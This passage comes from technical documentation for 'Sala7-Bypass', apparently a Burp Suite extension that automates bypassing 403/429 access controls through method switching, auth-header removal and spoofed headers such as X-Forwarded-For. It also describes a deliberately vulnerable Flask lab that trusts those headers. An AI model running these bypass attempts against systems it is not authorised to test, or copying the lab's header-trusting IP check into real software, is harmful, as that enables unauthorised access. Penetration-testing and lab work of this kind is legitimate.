JComboBox<String> cmbResult = new JComboBox<>(new String[]{"All", "SUCCESS", "FAILED", "BYPASS", "MODIFIED", "BLOCKED", "PASSTHROUGH"});
JComboBox<String> cmbBypassType = new JComboBox<>(new String[]{"All", "METHOD", "HEADER", "AUTH", "RATE_LIMIT", "COMBINED", "NONE"});
}
Filter Criteria
Table
| Criterion | Type | Matching Logic |
|---|---|---|
| URL Search | Substring | Case-insensitive contains() |
| Status Code | Exact or range | Direct comparison or 500+ range |
| Result | Action classification | Action string or success state |
| Bypass Type | Classification | getBypassType() exact match |
Filter Application
private void applyFilter(String search, String status, String result, String bypassType) {
logTableModel.clear();
for (LogEntry entry : logEntries) {
boolean match = true;
// URL substring match
if (!search.isEmpty() && !entry.getUrl().toLowerCase().contains(search.toLowerCase())) {
match = false;
}
// Status filter
if (!status.equals("All")) {
int entryStatus = entry.getModifiedStatus();
if (status.equals("500+") && entryStatus < 500) match = false;
else if (!status.equals("500+") && entryStatus != Integer.parseInt(status)) match = false;
}
// Result filter
if (!result.equals("All")) {
if (result.equals("SUCCESS") && !entry.isSuccess()) match = false;
else if (result.equals("FAILED") && entry.isSuccess()) match = false;
else if (result.equals("BYPASS") && !entry.isBypass()) match = false;
else if (result.equals("MODIFIED") && !entry.getAction().equals("MODIFIED")) match = false;
else if (result.equals("BLOCKED") && !entry.getAction().equals("BLOCKED")) match = false;
else if (result.equals("PASSTHROUGH") && !entry.getAction().equals("PASSTHROUGH")) match = false;
}
// Bypass type filter
if (!bypassType.equals("All")) {
if (!entry.getBypassType().equals(bypassType)) match = false;
}
if (match) logTableModel.addEntry(entry);
}
}
The filter creates a view-layer subset of the underlying logEntries list, preserving the complete history while enabling focused analysis. The “Clear Filter” button restores the full view by re-populating the table model from logEntries.
7. Notification & Alert System
7.1 System Tray Notifications
The system tray notification provides non-intrusive success alerts that persist beyond the Burp Suite window lifecycle, ensuring testers are notified of bypass discoveries even when focused on other applications.
Implementation
private void showSuccessNotification(LogEntry entry) {
if (!entry.isRealBypass()) return;
SwingUtilities.invokeLater(() -> {
if (SystemTray.isSupported()) {
try {
SystemTray tray = SystemTray.getSystemTray();
Image image = Toolkit.getDefaultToolkit().createImage(
getClass().getResource("/icon.png"));
TrayIcon trayIcon = new TrayIcon(image, "Sala7-Bypass");
trayIcon.setImageAutoSize(true);
tray.add(trayIcon);
trayIcon.displayMessage("Bypass Success!",
"URL: " + truncate(entry.getUrl(), 50) +
"\nType: " + entry.getBypassType() +
"\nStatus: " + entry.getModifiedStatus(),
TrayIcon.MessageType.INFO);
tray.remove(trayIcon); // Clean up after display
} catch (Exception ignored) {}
}
// ... JOptionPane fallback ...
});
}
Platform Support
Table
| Platform | SystemTray Support | Behavior |
|---|---|---|
| Windows | ✅ Native | Native notification balloons |
| macOS | ✅ Native | Native notification center |
| Linux (GNOME/KDE) | ✅ Native | Desktop notification daemon |
| Linux (headless) | ❌ No | Falls through to JOptionPane |
| WSL | ⚠️ Variable | Depends on Windows integration |
The SystemTray.isSupported() guard prevents crashes on unsupported platforms. The temporary TrayIcon creation (added, displayed, then immediately removed) avoids persistent icon pollution of the system tray.
Limitations
The current implementation does not implement notification queuing or deduplication. Rapid successive bypasses (e.g., multiple endpoints on the same vulnerable application) generate overlapping notifications, potentially overwhelming the system tray. A notification queue with rate limiting would address this in future versions.
7.2 Popup Dialog Alerts
The popup dialog provides modal success notification within the Burp Suite window, ensuring visibility even when system tray notifications are disabled or missed.
Implementation
JOptionPane.showMessageDialog(null,
notificationText,
"Sala7-Bypass - Success! [" + entry.getBypassType() + "]",
JOptionPane.INFORMATION_MESSAGE);
The notificationText is generated by LogEntry.getBypassNotificationText():
public String getBypassNotificationText() {
StringBuilder sb = new StringBuilder();
sb.append("🎉 BYPASS SUCCESS!\n\n");
sb.append("URL: ").append(url).append("\n");
sb.append("Status: ").append(modifiedStatus).append(" OK\n");
sb.append("Type: ").append(bypassType).append("\n");
if (bypassType.equals("METHOD")) {
sb.append("Method Switch: ").append(originalMethod).append(" → ").append(modifiedMethod).append("\n");
} else if (bypassType.equals("HEADER") && !bypassHeadersUsed.isEmpty()) {
sb.append("Headers Used:\n");
for (Map.Entry<String, String> entry : bypassHeadersUsed.entrySet()) {
sb.append(" • ").append(entry.getKey()).append(": ").append(entry.getValue()).append("\n");
}
}
// ... other types ...
sb.append("Original Status: ").append(trueOriginalStatus).append("\n");
sb.append("Response Time: ").append(responseTime).append("ms\n");
return sb.toString();
}
Dialog Behavior
The JOptionPane.showMessageDialog() with null parent centers the dialog on the screen. This can be disruptive during active testing, as the modal dialog blocks interaction with Burp Suite until dismissed. Future enhancements could implement non-modal notifications or configurable notification preferences (tray-only, dialog-only, both, or none).
7.3 Custom Sound Alerts
The sound alert system provides auditory notification of bypass successes, enabling testers to monitor testing progress without continuous visual attention.
7.3.1 WAV File Support
The primary sound mechanism plays user-configurable WAV files:
private void playSuccessSound() {
try {
File soundFile = new File(soundFilePath);
if (soundFile.exists()) {
javax.sound.sampled.AudioInputStream audioStream =
javax.sound.sampled.AudioSystem.getAudioInputStream(soundFile);
javax.sound.sampled.Clip clip = javax.sound.sampled.AudioSystem.getClip();
clip.open(audioStream);
clip.start();
} else {
Toolkit.getDefaultToolkit().beep();
}
} catch (Exception e) {
Toolkit.getDefaultToolkit().beep();
api.logging().logToOutput("Sound alert failed: " + e.getMessage());
}
}
The javax.sound.sampled API provides platform-independent WAV playback through the Java Sound API. Supported formats include:
- PCM uncompressed (8-bit, 16-bit)
- Standard sample rates (8000, 11025, 22050, 44100 Hz)
- Mono or stereo
The default sound file path is hardcoded to a Windows path:
private String soundFilePath = "C:\\Users\\H3X0S3-Sala7\\Desktop\\hunt\\Burp-Extension\\H3X0S3\\success.wav";
This default is non-portable and will fail on non-Windows systems, falling through to the beep fallback.
7.3.2 Fallback Beep
When WAV playback fails (file not found, unsupported format, audio system unavailable), the extension falls back to Toolkit.getDefaultToolkit().beep():
Toolkit.getDefaultToolkit().beep();
This generates the platform-default beep (Windows: system beep, macOS: system alert, Linux: terminal bell), ensuring some auditory feedback regardless of configuration.
7.3.3 Configurable Sound Path
The Advanced Tab provides sound file configuration:
JTextField txtSoundPath = new JTextField(extender.getSoundFilePath(), 30);
JButton btnBrowseSound = new JButton("Browse");
btnBrowseSound.addActionListener(e -> {
JFileChooser chooser = new JFileChooser();
chooser.setFileFilter(new javax.swing.filechooser.FileNameExtensionFilter("WAV Files", "wav"));
if (chooser.showOpenDialog(mainPanel) == JFileChooser.APPROVE_OPTION) {
txtSoundPath.setText(chooser.getSelectedFile().getAbsolutePath());
extender.setSoundFilePath(chooser.getSelectedFile().getAbsolutePath());
}
});
The JFileChooser with WAV filter restricts selection to .wav files, though the playback code does not enforce this extension at runtime—users could theoretically select other AudioSystem-supported formats (AIFF, AU).
7.4 Success Highlighting in Logs
Beyond explicit notifications, the extension provides persistent visual highlighting of successful bypasses within the Live Logs table, creating a persistent record of discoveries that remains visible after notifications dismiss.
Color Highlighting
As detailed in section 5.4, successful bypass rows receive distinctive formatting:
Table
| Element | Success State | Visual Treatment |
|---|---|---|
| Status column | 200/302 | Green background, dark green text |
| Action column | “BYPASS” + success | Forest green background, white bold text |
| Bypass Type column | Any bypass type | Type-specific badge color |
| Statistics labels | bypassSuccess > 0 | Green foreground color |
Log Text Area Highlighting
The highlightSuccess() method appends emphasized text to the log text area:
public void highlightSuccess(HttpRequest request, String message) {
SwingUtilities.invokeLater(() -> {
logTextArea.append("*** " + message + " ***" + System.lineSeparator());
});
}
This produces output like:
** BYPASS SUCCESS [HEADER]: 200 ***
The asterisk wrapping and line separation create visual distinction from routine log entries.
Statistics Dashboard Emphasis
When bypassSuccess > 0, the statistics labels change to bright green:
if (hasSuccess) {
lblStatBypassSuccess.setForeground(new Color(50, 255, 50)); // Bright green
lblStatBypassRate.setForeground(new Color(50, 255, 50));
} else {
lblStatBypassSuccess.setForeground(Color.WHITE);
lblStatBypassRate.setForeground(Color.WHITE);
}
This color transition provides immediate visual confirmation of testing efficacy, transforming the dashboard from neutral white to success-indicating green upon first bypass discovery.
8. Data Export & Persistence
8.1 CSV Export
The CSV export functionality provides tabular data output compatible with spreadsheet applications, vulnerability management systems, and automated reporting pipelines. The implementation prioritizes human readability while maintaining machine parseability through proper escaping and consistent column ordering.
8.1.1 Column Structure
The CSV export generates a header row followed by one data row per LogEntry, with columns capturing the complete request lifecycle from interception through bypass classification:
private void exportToCsv(String fileName) {
FileWriter writer = new FileWriter(fileName);
writer.write("Time,URL,OriginalMethod,ModifiedMethod,OriginalStatus,ModifiedStatus," +
"Action,BypassType,Bypass,RealBypass,Success,ResponseTime,BypassDetails\n");
for (LogEntry entry : logEntries) {
writer.write(String.format("%s,\"%s\",%s,%s,%d,%d,%s,%s,%b,%b,%b,%d,\"%s\"%n",
entry.getTimestamp(),
entry.getUrl(),
entry.getOriginalMethod(),
entry.getModifiedMethod(),
entry.getOriginalStatus(),
entry.getModifiedStatus(),
entry.getAction(),
entry.getBypassType(),
entry.isBypass(),
entry.isRealBypass(),
entry.isSuccess(),
entry.getResponseTime(),
escapeCsv(entry.getBypassDetails())
));
}
writer.close();
}
Column Definitions
Table
| Column | Data Type | Example | Description |
|---|---|---|---|
| Time | String | 14:32:17 |
Request interception timestamp (HH:mm:ss) |
| URL | String | https://example.com/admin |
Full request URL |
| OriginalMethod | String | GET |
HTTP method before modification |
| ModifiedMethod | String | POST |
HTTP method after modification |
| OriginalStatus | Integer | 403 |
Response status for original request |
| ModifiedStatus | Integer | 200 |
Response status for modified request |
| Action | String | BYPASS |
Classification: PASSTHROUGH, MODIFIED, BLOCKED, BYPASS, FAILED |
| BypassType | String | HEADER |
Technique: METHOD, HEADER, AUTH, RATE_LIMIT, COMBINED, NONE |
| Bypass | Boolean | true |
Whether any bypass attempt was made |
| RealBypass | Boolean | true |
Whether bypass achieved 403→200/302 transition |
| Success | Boolean | true |
Whether modified/bypass request succeeded (200/302) |
| ResponseTime | Long | 145 |
Response time in milliseconds |
| BypassDetails | String | Header bypass: {X-Forwarded-For=127.0.0.1} |
Human-readable bypass description |
The column ordering reflects the temporal request lifecycle: temporal anchor (Time), target identification (URL), request transformation (OriginalMethod→ModifiedMethod), response analysis (OriginalStatus→ModifiedStatus), classification (Action, BypassType), and metadata (ResponseTime, BypassDetails).
8.1.2 Escaping Rules
CSV escaping addresses two primary injection vectors: comma-containing fields (URL query strings, header values) and quote-containing fields (JSON payloads, HTML responses).
URL Escaping
URLs frequently contain commas in query strings (?a=1,b=2), necessitating double-quote enclosure:
writer.write(String.format("%s,\"%s\",%s,%s,...",
entry.getTimestamp(),
entry.getUrl(), // Enclosed in quotes
entry.getOriginalMethod(),
// ...
));
All URL values are unconditionally enclosed in double quotes, regardless of comma presence, ensuring consistent parsing.
BypassDetails Escaping
The BypassDetails field contains arbitrary text including quotes and newlines, requiring explicit escaping:
private String escapeCsv(String s) {
if (s == null) return "";
return s.replace("\"", "\"\"") // Double existing quotes
.replace("\n", " ") // Normalize newlines
.replace("\r", " "); // Normalize carriage returns
}
The escaping rules implement RFC 4180 conventions:
Table
| Character | Escape Sequence | Rationale |
|---|---|---|
" |
"" |
CSV quote doubling per RFC 4180 |
\n |
Newlines break row structure | |
\r |
Carriage returns break row structure |
The implementation does not enclose the escaped value in additional quotes, relying on the format string’s explicit quote enclosure: "%s,\"%s\"%n" wraps the escaped value in quotes at write time. This dual-layer approach—explicit escaping plus format-level enclosure—provides defense-in-depth against malformed output.
Limitations
The current implementation does not handle other CSV metacharacters:
- Embedded commas within
BypassDetailsare not escaped (reliance on quote enclosure) - Unicode characters pass through unmodified (UTF-8 compatibility dependent on platform)
- Very long fields (>32KB) may cause issues with legacy spreadsheet applications
8.2 JSON Export
The JSON export provides structured data output suitable for programmatic consumption, integration with vulnerability databases, and automated report generation. The implementation uses manual string construction rather than a JSON library, minimizing dependencies while accepting the complexity of proper escaping.
8.2.1 Schema Design
The JSON schema mirrors the CSV column structure while adding nested object support for complex fields:
private void exportToJson(String fileName) {
StringBuilder json = new StringBuilder();
json.append("[\n");
for (int i = 0; i < logEntries.size(); i++) {
LogEntry entry = logEntries.get(i);
json.append(" {\n");
json.append(" \"timestamp\": \"").append(escapeJson(entry.getTimestamp())).append("\",\n");
json.append(" \"url\": \"").append(escapeJson(entry.getUrl())).append("\",\n");
json.append(" \"originalMethod\": \"").append(entry.getOriginalMethod()).append("\",\n");
json.append(" \"modifiedMethod\": \"").append(entry.getModifiedMethod()).append("\",\n");
json.append(" \"originalStatus\": ").append(entry.getOriginalStatus()).append(",\n");
json.append(" \"modifiedStatus\": ").append(entry.getModifiedStatus()).append(",\n");
json.append(" \"action\": \"").append(entry.getAction()).append("\",\n");
json.append(" \"bypassType\": \"").append(entry.getBypassType()).append("\",\n");
json.append(" \"isBypass\": ").append(entry.isBypass()).append(",\n");
json.append(" \"isRealBypass\": ").append(entry.isRealBypass()).append(",\n");
json.append(" \"isSuccess\": ").append(entry.isSuccess()).append(",\n");
json.append(" \"responseTime\": ").append(entry.getResponseTime()).append(",\n");
json.append(" \"bypassDetails\": \"").append(escapeJson(entry.getBypassDetails())).append("\"\n");
json.append(" }");
if (i < logEntries.size() - 1) json.append(",");
json.append("\n");
}
json.append("]");
FileWriter writer = new FileWriter(fileName);
writer.write(json.toString());
writer.close();
}
Schema Structure
[
{
"timestamp": "14:32:17",
"url": "https://example.com/admin",
"originalMethod": "GET",
"modifiedMethod": "POST",
"originalStatus": 403,
"modifiedStatus": 200,
"action": "BYPASS",
"bypassType": "METHOD",
"isBypass": true,
"isRealBypass": true,
"isSuccess": true,
"responseTime": 145,
"bypassDetails": "Original: 403 -> Modified: 200 | GET -> POST | Mods: METHOD_SWITCH:GET->POST"
}
]
The flat structure prioritizes simplicity over normalization, with each entry self-contained for independent analysis. Boolean values use JSON native true/false rather than string representations, enabling direct boolean parsing by consumers.
8.2.2 Nested Object Serialization
The current implementation uses flat fields for all data. Future schema enhancements could introduce nested objects:
{
"request": {
"original": { "method": "GET", "url": "..." },
"modified": { "method": "POST", "url": "..." }
},
"response": {
"original": { "status": 403 },
"modified": { "status": 200 }
},
"bypass": {
"type": "METHOD",
"isReal": true,
"headersUsed": { "X-Forwarded-For": "127.0.0.1" }
}
}
The manual serialization approach would require significant additional escaping logic for nested structures, motivating migration to a JSON library (Jackson, Gson, org.json) for complex schema evolution.
JSON Escaping
private String escapeJson(String s) {
if (s == null) return "";
return s.replace("\\", "\\\\") // Backslash escape
.replace("\"", "\\\"") // Quote escape
.replace("\n", "\\n") // Newline escape
.replace("\r", "\\r"); // Carriage return escape
}
The escaping sequence is order-sensitive: backslash must be escaped before quote, as replace("\"", "\\\"") introduces new backslashes that would be double-escaped if backslash replacement occurred second.
Table
| Character | Escape Sequence | JSON Significance |
|---|---|---|
\ |
\\ |
Escape prefix |
" |
\" |
String delimiter |
\n |
\n |
Line break (allowed in JSON strings) |
\r |
\r |
Carriage return (allowed in JSON strings) |
The implementation does not escape other control characters (tab, form feed, backspace) or Unicode, which remain valid JSON string content but may cause issues with strict parsers.
8.3 Custom Payload Save/Load
The Payloads Tab provides persistent storage for custom bypass header configurations, enabling testers to save discovered techniques, share configurations across teams, and maintain target-specific payload sets.
8.3.1 JSON-Based Payload Storage
The payload storage format uses a simple JSON array of objects, with each object representing a single header-value pair and its enabled state:
[
{
"name": "X-Forwarded-For",
"value": "127.0.0.1",
"enabled": true
},
{
"name": "X-Custom-Header",
"value": "bypass",
"enabled": false
}
]
Save Implementation
private void savePayloadsToFile() {
JFileChooser chooser = new JFileChooser();
chooser.setFileFilter(new javax.swing.filechooser.FileNameExtensionFilter("JSON Files", "json"));
if (chooser.showSaveDialog(mainPanel) == JFileChooser.APPROVE_OPTION) {
StringBuilder json = new StringBuilder();
json.append("[\n");
for (int i = 0; i < payloadsModel.getRowCount(); i++) {
json.append(" {\n");
json.append(" \"name\": \"").append(escapeJson((String) payloadsModel.getValueAt(i, 0))).append("\",\n");
json.append(" \"value\": \"").append(escapeJson((String) payloadsModel.getValueAt(i, 1))).append("\",\n");
json.append(" \"enabled\": ").append(payloadsModel.getValueAt(i, 2)).append("\n");
json.append(" }");
if (i < payloadsModel.getRowCount() - 1) json.append(",");
json.append("\n");
}
json.append("]");
FileWriter writer = new FileWriter(chooser.getSelectedFile());
writer.write(json.toString());
writer.close();
}
}
The save operation iterates the DefaultTableModel directly, serializing the current table state including user modifications, additions, and deletions.
8.3.2 Batch Import/Export
The load implementation parses JSON files through manual string manipulation, reconstructing the table model:
private void loadPayloadsFromFile() {
JFileChooser chooser = new JFileChooser();
chooser.setFileFilter(new javax.swing.filechooser.FileNameExtensionFilter("JSON Files", "json"));
if (chooser.showOpenDialog(mainPanel) == JFileChooser.APPROVE_OPTION) {
java.nio.file.Path path = chooser.getSelectedFile().toPath();
String fileContent = new String(java.nio.file.Files.readAllBytes(path));
payloadsModel.setRowCount(0); // Clear existing
fileContent = fileContent.trim();
if (fileContent.startsWith("[") && fileContent.endsWith("]")) {
fileContent = fileContent.substring(1, fileContent.length() - 1).trim();
if (!fileContent.isEmpty()) {
String[] objects = fileContent.split("}\\s*,\\s*\\{");
for (String obj : objects) {
obj = obj.replace("{", "").replace("}", "").trim();
if (obj.isEmpty()) continue;
String name = "";
String value = "";
boolean enabled = true;
String[] pairs = obj.split(",");
for (String pair : pairs) {
String[] kv = pair.split(":", 2);
if (kv.length == 2) {
String key = kv[0].trim().replace("\"", "").replace("'", "");
String val = kv[1].trim().replace("\"", "").replace("'", "");
if (key.equals("name")) name = val;
else if (key.equals("value")) value = val;
else if (key.equals("enabled")) enabled = Boolean.parseBoolean(val);
}
}
if (!name.isEmpty()) {
payloadsModel.addRow(new Object[]{name, value, enabled});
}
}
}
}
}
}
Parser Limitations
The manual parser exhibits several fragility points:
Table
| Issue | Cause | Impact |
|---|---|---|
| Nested braces in values | split("}\\s*,\\s*\\{") breaks |
Crashes on JSON with nested objects |
| Colons in values | split(":", 2) truncates |
Corrupts header values containing colons |
| Escaped quotes | replace("\"", "") removes |
Loses quote-containing values |
| Boolean string variants | Only "true"/"false" |
Fails on "True", "TRUE", "1" |
These limitations motivate migration to a proper JSON parser for production reliability. The current implementation suffices for the simple flat structure but would fail on edge cases.
Reset Functionality
The “Reset” button restores the default payload pool, enabling recovery from corrupted configurations or return to baseline after experimentation:
java Copy
btnReset.addActionListener(e -> loadDefaultPayloads());
The loadDefaultPayloads() method programmatically generates the complete default header set, organized by category (IP headers, port headers, scheme headers, URL headers, method headers), and populates the table in batches of 50 rows to prevent UI freezing during large insertions.
9. Configuration & Customization
9.1 Master Controls
The master controls provide global operational parameters that govern the extension’s fundamental behavior, organized in the Controls Tab’s “Master Controls” panel.
9.1.1 Extension Enable/Disable
The enable toggle provides immediate operational control without requiring Burp extension reload:
chkEnabled = new JCheckBox("Extension Enabled", true);
chkEnabled.setToolTipText("Enable/disable the extension processing");
chkEnabled.addActionListener(e -> extender.setExtensionEnabled(chkEnabled.isSelected()));
The volatile boolean extensionEnabled field controls all interception points:
@Override
public RequestToBeSentAction handleHttpRequestToBeSent(HttpRequestToBeSent requestToBeSent) {
if (!extensionEnabled) {
return RequestToBeSentAction.continueWith(requestToBeSent);
}
// ... processing ...
}
@Override
public ResponseReceivedAction handleHttpResponseReceived(HttpResponseReceived responseReceived) {
if (!extensionEnabled) {
return ResponseReceivedAction.continueWith(responseReceived);
}
// ... processing ...
}
The early-exit pattern ensures minimal performance impact when disabled: a single boolean check and immediate return, with no object allocation or method invocation overhead.
9.1.2 Scope Restriction
The scope toggle restricts processing to Burp’s configured target scope, preventing accidental testing of out-of-scope systems:
chkScopeOnly = new JCheckBox("Process In-Scope Only", true);
chkScopeOnly.setToolTipText("Only process requests that are in Burp's target scope");
chkScopeOnly.addActionListener(e -> extender.setScopeOnly(chkScopeOnly.isSelected()));
The api.scope().isInScope() evaluation occurs after the enabled check, ensuring scope evaluation overhead is avoided entirely when the extension is disabled.
9.1.3 Loop Prevention Toggle
The loop prevention toggle controls the X-Burp-Processed header injection and detection:
chkLoopPrevention = new JCheckBox("Loop Prevention (X-Burp-Processed)", true);
chkLoopPrevention.setToolTipText("Add X-Burp-Processed header to prevent infinite loops");
chkLoopPrevention.addActionListener(e -> extender.setLoopPrevention(chkLoopPrevention.isSelected()));
Disabling loop prevention is generally inadvisable but may be necessary for testing scenarios where the header itself triggers server-side filtering or when debugging extension behavior through recursive self-testing.
9.1.4 Theme Selection (Dark/Light)
The theme toggle switches between dark and light color schemes:
chkDarkMode = new JCheckBox("Dark Mode", true);
chkDarkMode.setToolTipText("Toggle dark/light theme");
chkDarkMode.addActionListener(e -> {
if (chkDarkMode.isSelected()) applyDarkTheme();
else applyLightTheme();
});
The theme methods apply colors to the main panel and log text area:
private void applyDarkTheme() {
mainPanel.setBackground(new Color(30, 30, 40));
if (logTextArea != null) {
logTextArea.setBackground(new Color(25, 25, 35));
logTextArea.setForeground(new Color(200, 200, 200));
}
SwingUtilities.updateComponentTreeUI(mainPanel);
}
private void applyLightTheme() {
mainPanel.setBackground(Color.WHITE);
if (logTextArea != null) {
logTextArea.setBackground(Color.WHITE);
logTextArea.setForeground(Color.BLACK);
}
SwingUtilities.updateComponentTreeUI(mainPanel);
}
The SwingUtilities.updateComponentTreeUI() call recursively updates all child components to reflect the new Look-and-Feel, though custom renderers maintain their explicit color settings regardless of theme. This creates a hybrid theme system: native components follow the Look-and-Feel, while custom-rendered table cells maintain fixed colors.
9.2 Request Modification Controls
The request modification controls govern transformations applied to intercepted requests before server transmission.
9.2.1 Method Switching Toggle
The method switching toggle enables GET↔POST conversion:
chkMethodSwitch = new JCheckBox("Switch GET <-> POST");
chkMethodSwitch.setToolTipText("Automatically switch between GET and POST methods");
chkMethodSwitch.addActionListener(e -> extender.setMethodSwitching(chkMethodSwitch.isSelected()));
When enabled, all intercepted GET requests are converted to POST (with URL parameters migrated to body), and all POST requests are converted to GET (with body parameters migrated to query string). Non-GET/POST methods (PUT, DELETE, PATCH) pass through unmodified.
9.2.2 Auth Removal (Cookie/Authorization)
The authentication removal controls provide selective header stripping:
chkRemoveAuth = new JCheckBox("Remove Authentication");
chkRemoveAuth.setToolTipText("Remove authentication headers from requests");
chkRemoveCookie = new JCheckBox("Remove Cookie Header");
chkRemoveCookie.setToolTipText("Remove Cookie header from requests");
chkRemoveAuthorization = new JCheckBox("Remove Authorization Header");
chkRemoveAuthorization.setToolTipText("Remove Authorization header from requests");
The hierarchical relationship requires chkRemoveAuth to be selected for subordinate toggles to have effect, but the UI does not enforce this visually. The implementation checks removeAuth before evaluating subordinate flags:
if (removeAuth) {
if (removeCookie) {
modifiedRequest = RequestModifier.removeHeader(modifiedRequest, "Cookie");
}
if (removeAuthorization) {
modifiedRequest = RequestModifier.removeHeader(modifiedRequest, "Authorization");
}
}
This structure enables pre-configuration: a tester can enable removeCookie and removeAuthorization while keeping removeAuth disabled, then rapidly enable auth removal by checking removeAuth without reconfiguring subordinates.
9.3 Bypass Engine Controls
The bypass engine controls govern automatic bypass attempt behavior triggered by 403/401/429 response detection.
9.3.1 403/429 Detection Toggle
The detection toggle enables automatic bypass triggering:
chkDetect403 = new JCheckBox("Detect 403/429 Responses", true);
chkDetect403.setToolTipText("Automatically detect 403 Forbidden and 429 Too Many Requests");
chkDetect403.addActionListener(e -> extender.setDetect403(chkDetect403.isSelected()));
When disabled, blocked responses are logged but no automatic bypass attempts are initiated. This is useful for passive monitoring or when manual analysis is preferred over automated response.
9.3.2 Header Injection Toggle
The header injection toggle controls whether bypass attempts include header-based techniques:
chkBypassHeaders = new JCheckBox("Inject Bypass Headers", true);
chkBypassHeaders.setToolTipText("Inject bypass headers (X-Forwarded-For, X-Real-IP, etc.)");
chkBypassHeaders.addActionListener(e -> extender.setBypassHeaders(chkBypassHeaders.isSelected()));
When disabled, bypass attempts rely solely on method switching and auth removal (if configured), excluding the 40+ header injection vectors from the attempt pool.
9.3.3 Single vs Multiple Header Mode
The single header mode restricts bypass attempts to one header at a time:
chkSingleBypass = new JCheckBox("Single Header Mode (vs Multiple)");
chkSingleBypass.setToolTipText("Use only one bypass header at a time");
chkSingleBypass.addActionListener(e -> extender.setSingleBypassMode(chkSingleBypass.isSelected()));
In single mode, only the first header from BYPASS_HEADERS_POOL is attempted per retry cycle. In multiple mode (default), all headers are attempted sequentially. Single mode reduces request volume and server load, while multiple mode maximizes bypass discovery probability.
9.3.4 Max Retries Configuration (1-20)
The max retries spinner controls attempt limits per unique request:
JSpinner spnMaxRetries = new JSpinner(new SpinnerNumberModel(3, 1, 20, 1));
spnMaxRetries.setToolTipText("Maximum bypass attempts per request");
spnMaxRetries.addChangeListener(e -> extender.setMaxRetries((Integer) spnMaxRetries.getValue()));
The SpinnerNumberModel(3, 1, 20, 1) provides:
- Default: 3 attempts
- Minimum: 1 attempt
- Maximum: 20 attempts
- Step: 1 attempt
This range accommodates conservative testing (1 attempt, minimal server impact) through exhaustive enumeration (20 attempts, maximum coverage).
9.4 Advanced Settings
The advanced settings provide operational parameters for bypass execution tuning.
9.4.1 Concurrent Thread Count (1-50)
The thread count controls parallel bypass execution:
JSpinner spnThreads = new JSpinner(new SpinnerNumberModel(5, 1, 50, 1));
spnThreads.setToolTipText("Number of concurrent threads for bypass attempts");
spnThreads.addChangeListener(e -> extender.setThreadCount((Integer) spnThreads.getValue()));
Higher thread counts accelerate bypass discovery but increase server load and detection probability. The dynamic reconfiguration with graceful shutdown (section 4.1.4) enables runtime adjustment without extension reload.
9.4.2 Request Delay (0-10000ms)
The request delay introduces intentional latency between bypass attempts:
JSpinner spnDelay = new JSpinner(new SpinnerNumberModel(0, 0, 10000, 100));
spnDelay.setToolTipText("Delay between bypass attempts in milliseconds");
spnDelay.addChangeListener(e -> extender.setRequestDelay((Integer) spnDelay.getValue()));
The step size of 100ms enables rapid coarse adjustment, while direct text entry supports fine-grained values. Delays are applied per-attempt within the bypass loop:
if (requestDelay > 0) {
try {
Thread.sleep(requestDelay);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
return;
}
}
9.4.3 Auto-Stop on Success
The auto-stop toggle terminates bypass attempts after first success:
chkAutoStop = new JCheckBox("Auto-Stop on Success");
chkAutoStop.setToolTipText("Stop bypass attempts once a successful bypass is found");
chkAutoStop.addActionListener(e -> extender.setAutoStopOnSuccess(chkAutoStop.isSelected()));
When enabled, the bypass loop checks bypassEngine.hasSuccess() before each attempt and breaks immediately upon success detection. This optimizes for rapid discovery over comprehensive enumeration.
9.4.4 Sound File Configuration
The sound file path configures success notification audio:
JLabel lblSoundPath = new JLabel("Sound File Path:");
JTextField txtSoundPath = new JTextField(extender.getSoundFilePath(), 30);
JButton btnBrowseSound = new JButton("Browse");
The default path targets a Windows-specific location, requiring manual reconfiguration on other platforms. The browse button restricts selection to .wav files through FileNameExtensionFilter.
9.4.5 Bypass-Specific Method Switching
This toggle controls whether method switching is applied during automatic bypass attempts (distinct from the general method switching applied to all intercepted requests):
chkBypassApplyMethodSwitch = new JCheckBox("Apply Method Switching in Bypass Attempts");
chkBypassApplyMethodSwitch.setToolTipText("Also switch GET<<->POST during automatic bypass attempts");
chkBypassApplyMethodSwitch.addActionListener(e -> extender.setBypassApplyMethodSwitch(chkBypassApplyMethodSwitch.isSelected()));
This enables layered testing: general traffic may pass through unmodified, while blocked responses receive aggressive method switching in bypass attempts.
9.4.6 Bypass-Specific Auth Removal
Similarly, this toggle controls auth removal in bypass attempts:
chkBypassApplyAuthRemoval = new JCheckBox("Apply Auth Removal in Bypass Attempts");
chkBypassApplyAuthRemoval.setToolTipText("Also remove Cookie/Authorization during automatic bypass attempts");
chkBypassApplyAuthRemoval.addActionListener(e -> extender.setBypassApplyAuthRemoval(chkBypassApplyAuthRemoval.isSelected()));
The separation between general auth removal and bypass-specific auth removal enables nuanced testing strategies, such as maintaining authentication for general requests while testing auth-bypass vectors only against blocked endpoints.
10. Testing & Validation
10.1 Custom Vulnerable Application (Sala7_bypass_lab.py)
The Sala7_bypass_lab.py application provides a controlled testing environment for validating Sala7-Bypass functionality across all bypass technique categories. Built on Flask, the application implements intentional vulnerabilities that mirror real-world access control flaws, enabling systematic verification of extension behavior.
10.1.1 IP-Based Restriction Endpoint
The /admin/dashboard endpoint implements IP-based access control with intentional header trust vulnerabilities:
@app.route('/admin/dashboard')
@log_request
def admin_dashboard():
client_ip = get_client_ip()
# Check bypass headers first (vulnerable logic)
if check_ip_bypass():
request_stats['bypassed'] += 1
return jsonify({
"status": "BYPASS SUCCESS!",
"message": "Admin access granted via IP spoofing",
"your_ip": client_ip,
"detected_headers": {h: request.headers.get(h) for h in request.headers.keys()
if 'ip' in h.lower() or 'forward' in h.lower()},
"flag": "Sala7{IP_BYPASS_MASTER}"
}), 200
# Normal check
if client_ip not in ADMIN_IPS and not client_ip.startswith('127.'):
request_stats['blocked'] += 1
return jsonify({
"error": "Forbidden",
"message": "Access denied. Admin only from localhost.",
"your_ip": client_ip,
"hint": "Try adding X-Forwarded-For: 127.0.0.1"
}), 403
return jsonify({"status": "Admin access granted", "flag": "Sala7{ADMIN_ACCESS}"}), 200
The get_client_ip() function demonstrates the vulnerability pattern:
def get_client_ip():
# Vulnerable: trusts X-Forwarded-For first
forwarded = request.headers.get('X-Forwarded-For', '')
if forwarded:
return forwarded.split(',')[0].strip()
real_ip = request.headers.get('X-Real-IP', '')
if real_ip:
return real_ip
return request.remote_addr
The application trusts X-Forwarded-For over the actual connection IP (request.remote_addr), enabling trivial bypass through header injection.
10.1.2 Method-Based Restriction Endpoint
The /api/users endpoint restricts POST requests while allowing all other methods:
